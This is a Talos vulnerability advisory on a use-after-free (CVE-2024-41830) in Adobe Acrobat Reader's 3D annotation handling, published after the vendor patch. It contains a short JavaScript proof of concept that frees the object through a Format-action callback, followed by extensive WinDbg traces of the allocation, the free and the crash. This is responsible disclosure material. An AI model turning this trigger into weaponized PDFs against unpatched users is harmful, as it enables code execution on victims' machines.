Talos Vulnerability Report

TALOS-2024-2009

Adobe Acrobat Reader AV3DVirtAnnot Object Format Event Use-After-Free Vulnerability

August 13, 2024
CVE Number

CVE-2024-41830

SUMMARY

A use-after-free vulnerability exists in the AV3DVirtAnnot functionality of Adobe Acrobat Reader 2024.002.20759. A specially crafted Javascript code inside a malicious PDF document can trigger reuse of a previously freed object, which can lead to memory corruption and could result in arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Adobe Acrobat Reader 2024.002.20759

PRODUCT URLS

Acrobat Reader - https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market. It has a large user base and is usually a default PDF reader on systems. It also integrates into web browsers as a plugin for rendering PDFs.

Adobe’s PDF Reader creates an AV3DVirtAnnot object if a page contains a 3D type image. There exists a use-after-free vulnerability in the way Adobe Acrobat Reader handles an AV3DVirtAnnot object. This can be illustrated by the following proof-of-concept code:

function main() { 

    app.activeDocs[0].getField('Check Box0').setFocus();

    getField("txt2").setAction("Format",'set_page();'); 

    app.activeDocs[0].zoomType = zoomtype.fitH; 

}


function set_page() { 

    app.activeDocs[0].pageNum = 0; 

}

In the above excerpt, a callback set_page is set to the Format action of the txt2 field. When the callback is triggered, it sets the page. This call frees a number of objects, including the AV3DVirtAnnot object. The use-after-free vulnerability occurs when the freed AV3DVirtAnnot object is used without any validation. We can observe the following in the debugger (with PageHeap enabled):

eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25beff esp=04cfe590 ebp=04cfe62c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e561f:
6f25beff 50              push    eax
0:000> p
eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf00 esp=04cfe58c ebp=04cfe62c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5620:
6f25bf00 684c020000      push    24Ch                                        ;<------------------------- (1)
0:000> p
eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf05 esp=04cfe588 ebp=04cfe62c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5625:
6f25bf05 668901          mov     word ptr [ecx],ax        ds:002b:c1afbf1e=0000
0:000> p
eax=00000001 ebx=00000000 ecx=c1afbf1e edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf08 esp=04cfe588 ebp=04cfe62c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5628:
6f25bf08 e81fb00cff      call    AcroRd32!AcroWinMainSandbox+0x4afc (6e326f2c) ;<------------------------- (2)
0:000> p
eax=c45c4db0 ebx=00000000 ecx=00000001 edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf0d esp=04cfe588 ebp=04cfe62c iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e562d:
6f25bf0d 59              pop     ecx
0:000> dd eax
c45c4db0  00000000 00000000 00000000 00000000
c45c4dc0  00000000 00000000 00000000 00000000
c45c4dd0  00000000 00000000 00000000 00000000
c45c4de0  00000000 00000000 00000000 00000000
c45c4df0  00000000 00000000 00000000 00000000
c45c4e00  00000000 00000000 00000000 00000000
c45c4e10  00000000 00000000 00000000 00000000
c45c4e20  00000000 00000000 00000000 00000000
0:000> pc
eax=c45c4db0 ebx=00000000 ecx=c1afbe40 edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf1c esp=04cfe590 ebp=04cfe62c iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e563c:
6f25bf1c e8bf192fff      call    AcroRd32!DllCanUnloadNow+0x1f26b0 (6e54d8e0)
0:000> pc
eax=04cfe5b8 ebx=00000000 ecx=04cfe578 edx=00000000 esi=c1afbf00 edi=c1afbe40
eip=6f25bf2f esp=04cfe574 ebp=04cfe62c iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200216
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e564f:
6f25bf2f e8efd088ff      call    AcroRd32!ixVectorNextHit+0x2618a3 (6eae9023)
0:000> p
eax=04cfe578 ebx=00000000 ecx=04cfe578 edx=04cfe5b8 esi=c1afbf00 edi=c1afbe40
eip=6f25bf34 esp=04cfe578 ebp=04cfe62c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5654:
6f25bf34 8b4de4          mov     ecx,dword ptr [ebp-1Ch] ss:002b:04cfe610=c45c4db0
0:000> p
eax=04cfe578 ebx=00000000 ecx=c45c4db0 edx=04cfe5b8 esi=c1afbf00 edi=c1afbe40
eip=6f25bf37 esp=04cfe578 ebp=04cfe62c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5657:
6f25bf37 e8725bfeff      call    AcroRd32!AIDE::PixelPartInfo::operator=+0x4cb1ce (6f241aae) ;<-------------------------  (3)
0:000> p
eax=c45c4db0 ebx=00000000 ecx=6f241d57 edx=04cfe578 esi=c1afbf00 edi=c1afbe40
eip=6f25bf3c esp=04cfe590 ebp=04cfe62c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroRd32!AIDE::PixelPartInfo::operator=+0x4e565c:
6f25bf3c eb02            jmp     AcroRd32!AIDE::PixelPartInfo::operator=+0x4e5660 (6f25bf40)
0:000> dd eax                                                     ;<------------------------- (4)
c45c4db0  6fec6444 00000000 00000000 ffffffff
c45c4dc0  00000000 00000000 00000000 00000000
c45c4dd0  00000000 00000000 00000000 00000000
c45c4de0  00000000 00000000 00000000 00000001
c45c4df0  ab6bcea8 c1470ff8 0000002a 00000000
c45c4e00  6fd583d0 bbe00fe8 00000000 00000000
c45c4e10  00000000 00000000 00000000 00000000
c45c4e20  00000000 00000000 00000000 00000000

At (2) above, a function is called which calls malloc to allocate an AV3DVirtAnnot object of the size 0x24C. The initializiation of the AV3DVirtAnnot object happens by call at (3). We can observe the buffer value after the initializiation at (4).

0:000> g
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
eax=00000001 ebx=98fe2f00 ecx=baf5910d edx=09620000 esi=c45c4db0 edi=c45c4db0
eip=6f24247e esp=04cfd8a4 ebp=04cfd8b8 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200282
AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbb9e:
6f24247e 56              push    esi                                             ;<---------------- (5)
0:000> p
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
eax=00000001 ebx=98fe2f00 ecx=baf5910d edx=09620000 esi=c45c4db0 edi=c45c4db0
eip=6f24247f esp=04cfd8a0 ebp=04cfd8b8 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200280
AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbb9f:
6f24247f e88c830eff      call    AcroRd32!AcroWinMainSandbox+0x83e0 (6e32a810)  ;<---------------- (6)
0:000> dd esi                                                                   ;<---------------- (7)
c45c4db0  6fb8dc00 00000000 00000000 ffffffff
c45c4dc0  00000000 00000000 00000000 00000278
c45c4dd0  000000c5 0000030c 00000001 00000001
c45c4de0  00000000 00000000 00000000 00000001
c45c4df0  ab6bcea8 c1470ff8 0000002a c4604d70
c45c4e00  6fb8dc00 bbe00fe8 00000000 00000000
c45c4e10  00000000 00000000 00000000 00000000
c45c4e20  00000000 00000000 00000000 00000000
0:000> p
(2040.20b0): C++ EH exception - code e06d7363 (first chance)
eax=00000001 ebx=98fe2f00 ecx=c45c4db0 edx=09620000 esi=c45c4db0 edi=c45c4db0
eip=6f242484 esp=04cfd8a0 ebp=04cfd8b8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbba4:
6f242484 eb0c            jmp     AcroRd32!AIDE::PixelPartInfo::operator=+0x4cbbb2 (6f242492)
0:000> dd esi                                                                  ;<---------------- (8)
c45c4db0  ???????? ???????? ???????? ????????
c45c4dc0  ???????? ???????? ???????? ????????
c45c4dd0  ???????? ???????? ???????? ????????
c45c4de0  ???????? ???????? ???????? ????????
c45c4df0  ???????? ???????? ???????? ????????
c45c4e00  ???????? ???????? ???????? ????????
c45c4e10  ???????? ???????? ???????? ????????
c45c4e20  ???????? ???????? ???????? ????????

The method called at (6) eventually calls free. The argument of the free function comes from the esi register at (5). The value of the vulnerable buffer is examined at (7) and (8), shows its value before and after the free function is called. The vulnerable freed buffer is later used without any validation. This can be observed in a debugger at the time of the crash:

(1e38.1d7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=c45c4e88 ebx=c1afbe40 ecx=04cfea08 edx=c45c4e88 esi=c1afbe40 edi=00000000
eip=6eae9033 esp=04cfe9c8 ebp=04cfe9cc iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210282
AcroRd32!ixVectorNextHit+0x2618b3:
6eae9033 8b4204          mov     eax,dword ptr [edx+4] ds:002b:c45c4e8c=????????
0:000> dd edx
c45c4e88  ???????? ???????? ???????? ????????
c45c4e98  ???????? ???????? ???????? ????????
c45c4ea8  ???????? ???????? ???????? ????????
c45c4eb8  ???????? ???????? ???????? ????????
c45c4ec8  ???????? ???????? ???????? ????????
c45c4ed8  ???????? ???????? ???????? ????????
c45c4ee8  ???????? ???????? ???????? ????????
c45c4ef8  ???????? ???????? ???????? ????????
0:000> u
AcroRd32!ixVectorNextHit+0x2618b3:
6eae9033 8b4204          mov     eax,dword ptr [edx+4]
6eae9036 894104          mov     dword ptr [ecx+4],eax
6eae9039 8b4208          mov     eax,dword ptr [edx+8]
6eae903c 894108          mov     dword ptr [ecx+8],eax
6eae903f 85c0            test    eax,eax
6eae9041 7409            je      AcroRd32!ixVectorNextHit+0x2618cc (6eae904c)
6eae9043 8945fc          mov     dword ptr [ebp-4],eax
6eae9046 8b45fc          mov     eax,dword ptr [ebp-4]
0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04cfe9cc 6f24dbdf     c45c4e88 c45c4db0 04cfea3c AcroRd32!ixVectorNextHit+0x2618b3
01 04cfe9dc 6f25a6bc     04cfea08 baf5a3ad 00000000 AcroRd32!AIDE::PixelPartInfo::operator=+0x4d72ff
02 04cfea3c 6f25b6d7     baf5a3f5 c014eab8 c45c4f84 AcroRd32!AIDE::PixelPartInfo::operator=+0x4e3ddc
03 04cfea64 6f24ef18     baf5a299 04cfeb68 04cfeb88 AcroRd32!AIDE::PixelPartInfo::operator=+0x4e4df7
04 04cfeb08 6f2587ad     00000001 00000000 00000000 AcroRd32!AIDE::PixelPartInfo::operator=+0x4d8638
05 04cfeba8 6e5fa8e6     00000004 baf5a591 ab878ff8 AcroRd32!AIDE::PixelPartInfo::operator=+0x4e1ecd
06 04cfec00 6e5fa78e     00000004 04cfed24 6e5f7a3f AcroRd32!DllCanUnloadNow+0x29f6b6
07 04cfec0c 6e5f7a3f     c1afbe40 dfc0eef0 00000004 AcroRd32!DllCanUnloadNow+0x29f55e
08 04cfed24 6e5f75ca     dfc0eef0 04cfedfc 00000004 AcroRd32!DllCanUnloadNow+0x29c80f
09 04cfed3c 6e529d48     dfc0eef0 04cfedfc baf5a7bd AcroRd32!DllCanUnloadNow+0x29c39a
0a 04cfee2c 6e5290cb     dfc0eef0 04cfef54 00000000 AcroRd32!DllCanUnloadNow+0x1ceb18
0b 04cfef78 6e5281da     dfc0eef0 04cff0d0 00000000 AcroRd32!DllCanUnloadNow+0x1cde9b
0c 04cfefd8 6e527fd5     dfc0eef0 04cff0d0 00000000 AcroRd32!DllCanUnloadNow+0x1ccfaa
0d 04cff058 6e526751     dfc0eef0 04cff0d0 00000000 AcroRd32!DllCanUnloadNow+0x1ccda5
0e 04cff11c 6e526124     00000001 00000000 baf5b8e9 AcroRd32!DllCanUnloadNow+0x1cb521
0f 04cff178 6e525edb     e2612ef0 00000001 baf5b84d AcroRd32!DllCanUnloadNow+0x1caef4
10 04cff1dc 6e525b70     04cff1f8 baf5bb75 ab6b8f88 AcroRd32!DllCanUnloadNow+0x1cacab
11 04cff2e4 6e395760     0000000f 6e395650 ab6b8f88 AcroRd32!DllCanUnloadNow+0x1ca940
12 04cff2fc 6e395600     0000000f 00000000 00000000 AcroRd32!DllCanUnloadNow+0x3a530
13 04cff31c 75f4199b     000c0534 0000000f 00000000 AcroRd32!DllCanUnloadNow+0x3a3d0
14 04cff348 75f37dba     6e395530 000c0534 0000000f USER32!AddClipboardFormatListener+0x4b
15 04cff430 75f379ba     6e395530 00000000 0000000f USER32!GetClassLongW+0x7aa
16 04cff494 75f3bebf     0a9b9810 00000000 0000000f USER32!GetClassLongW+0x3aa
17 04cff4d0 76fe50dd     04cff4ec 00000020 04cff55c USER32!CallNextHookEx+0x19f
18 04cff56c 75f36210     0000000f 04cff590 6e3a6735 ntdll!KiUserCallbackDispatcher+0x4d
19 04cff578 6e3a6735     04cff5ac 2197ed98 2197ed98 USER32!DispatchMessageW+0x10
1a 04cff590 6e3a5efe     04cff5ac baf5bf95 2197ed98 AcroRd32!DllCanUnloadNow+0x4b505
1b 04cff604 6e3a5d2f     baf5bfad 2197ed98 00000000 AcroRd32!DllCanUnloadNow+0x4acce
1c 04cff63c 6e322b75     baf5bf21 125b0fb8 00000000 AcroRd32!DllCanUnloadNow+0x4aaff
1d 04cff6b0 6e3225bc     6e180000 002d0000 125b0fb8 AcroRd32!AcroWinMainSandbox+0x745
1e 04cffad4 0049a365     6e180000 002d0000 125b0fb8 AcroRd32!AcroWinMainSandbox+0x18c
1f 04cfff24 0050e14a     002d0000 00000000 0963ae18 AcroRd32_exe!IsSandboxedProcess+0x114a95
20 04cfff70 758cfcc9     04acc000 758cfcb0 04cfffdc AcroRd32_exe!AcroRd32IsBrokerProcess+0x1d65a
21 04cfff80 76fd7cbe     04acc000 482f64f6 00000000 KERNEL32!BaseThreadInitThunk+0x19
22 04cfffdc 76fd7c8e     ffffffff 76ff8d2c 00000000 ntdll!RtlGetAppContainerNamedObjectPath+0x11e
23 04cfffec 00000000     00495f60 04acc000 00000000 ntdll!RtlGetAppContainerNamedObjectPath+0xee

In the above debugger output, the crash occurs when edx is dereferenced, as if it were an object pointer. Depending on the memory layout of the process, it may be possible to abuse this vulnerability for arbitrary read and write access, which could ultimately be abused to achieve arbitrary code execution.

TIMELINE

2024-06-25 - Vendor Disclosure
2024-08-13 - Vendor Patch Release
2024-08-13 - Public Release

Credit

Discovered by KPC of Cisco Talos.